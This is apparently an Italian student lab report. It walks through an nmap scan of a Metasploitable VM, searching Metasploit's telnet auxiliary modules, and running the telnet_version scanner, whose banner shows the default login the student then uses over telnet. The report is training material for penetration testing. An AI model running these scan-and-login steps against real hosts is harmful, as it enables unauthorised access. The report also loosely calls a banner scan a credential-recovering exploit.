[CONSEGNA SETTIMANA 7 LEZIONE 2]

Exploit telnet con Metasploit

*Per impratichirci con il tool **Metasploit**, oggi proveremo a sfruttare le vulnerabilità del servizio telnet della macchina **Metasploitable** (IP 192.168.5.220).*

Iniziamo con l'usare il tool nmap per eseguire una scansione della macchina target tramite il comando **nmap -sV -T4 192.168.5.220**. Potremmo notare che tra i vari servizi attivi, alla porta 23 compare il servizio telnet, versione *telnetd*.

Procediamo quindi con la ricerca degli exploit ausiliari (auxiliary) presenti su metasploit con il comando search auxiliary telnet. Oggi sfrutteremo l'exploit *auxiliary/scanner/telnet/telnet_version*.

```
msf6 > search auxiliary telnet

Matching Modules
================

   #   Name                                                          Disclosure Date  Rank    Check
 Description
   -   ----                                                          ---------------  ----    -----
 -----------
   0   auxiliary/server/capture/telnet                                                normal  No
 Authentication Capture: Telnet
   1   auxiliary/scanner/telnet/brocade_enable_login                                  normal  No
 Brocade Enable Login Check Scanner
   2   auxiliary/dos/cisco/ios_telnet_rocem                          2017-03-17       normal  No
 Cisco IOS Telnet Denial of Service
   3   auxiliary/admin/http/dlink_dir_300_600_exec_noauth            2013-02-04       normal  No
 D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution
   4   auxiliary/scanner/ssh/juniper_backdoor                        2015-12-20       normal  No
 Juniper SSH Backdoor Scanner
   5   auxiliary/scanner/telnet/lantronix_telnet_password                             normal  No
 Lantronix Telnet Password Recovery
   6   auxiliary/scanner/telnet/lantronix_telnet_version                              normal  No
 Lantronix Telnet Service Banner Detection
   7   auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof                  2010-12-21       normal  No
 Microsoft IIS FTP Server Encoded Response Overflow Trigger
   8   auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass  2021-09-06   normal  Yes
 Netgear PNPX_GetShareFolderList Authentication Bypass
   9   auxiliary/admin/http/netgear_r6700_pass_reset                 2020-06-15       normal  Yes
 Netgear R6700v3 Unauthenticated LAN Admin Password Reset
   10  auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce  2021-04-21    normal  Yes
 Netgear R7000 backup.cgi Heap Overflow RCE
   11  auxiliary/scanner/telnet/telnet_ruggedcom                                      normal  No
 RuggedCom Telnet Password Generator
   12  auxiliary/scanner/telnet/satel_cmd_exec                       2017-04-07       normal  No
 Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability
   13  auxiliary/scanner/telnet/telnet_login                                          normal  No
 Telnet Login Check Scanner
   14  auxiliary/scanner/telnet/telnet_version                                        normal  No
 Telnet Service Banner Detection
   15  auxiliary/scanner/telnet/telnet_encrypt_overflow                               normal  No
 Telnet Service Encryption Key ID Overflow Detection
```

Procediamo quindi ad inserire i parametri richiesti dall'exploit, per mostrarli useremo il comando **show options**. Impostiamo quindi l'indirizzo IP della macchina target tramite il comando **set RHOSTS 192.168.5.220**.

Lanciamo quindi l'exploit.

```
msf6 > use 14
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOSTS    192.168.5.220    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit
                                        /basics/using-metasploit.html
   RPORT     23               yes       The target port (TCP)
   THREADS   1                yes       The number of concurrent threads (max one per host)
   TIMEOUT   30               yes       Timeout for the Telnet probe
   USERNAME                   no        The username to authenticate as


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > exploit

[+] 192.168.5.220:23      - 192.168.5.220:23 TELNET _                  _ _     _    _      ____  \x0a _
 __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ \x0a| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _
 \| | __/ _` | '_ \| |/ _ \ __) |\x0a| | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/ \x0a|
_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|\x0a                              |_|
                        \x0a\x0a\x0aWarning: Never expose this VM to an untrusted network!\x0a\x0aContact
: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable login:
[*] 192.168.5.220:23      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) >
```

Possiamo notare che l'exploit ha avuto successo, in quanto ci mostra le credenziali di accesso per il servizio telnet. A questo punto potremo accedere al servizio telnet della macchina target direttamente dal terminale tramite il comando **telnet 192.168.5.220 23** e inserire le credenziali recuperate tramite l'exploit.

ALCUNE NOZIONI IMPORTANTI

Cosa si intende per exploit auxiliary?

L'exploit di tipo auxiliary si differenzia da un exploit normale in quanto non richiede l'utilizzo di un payload.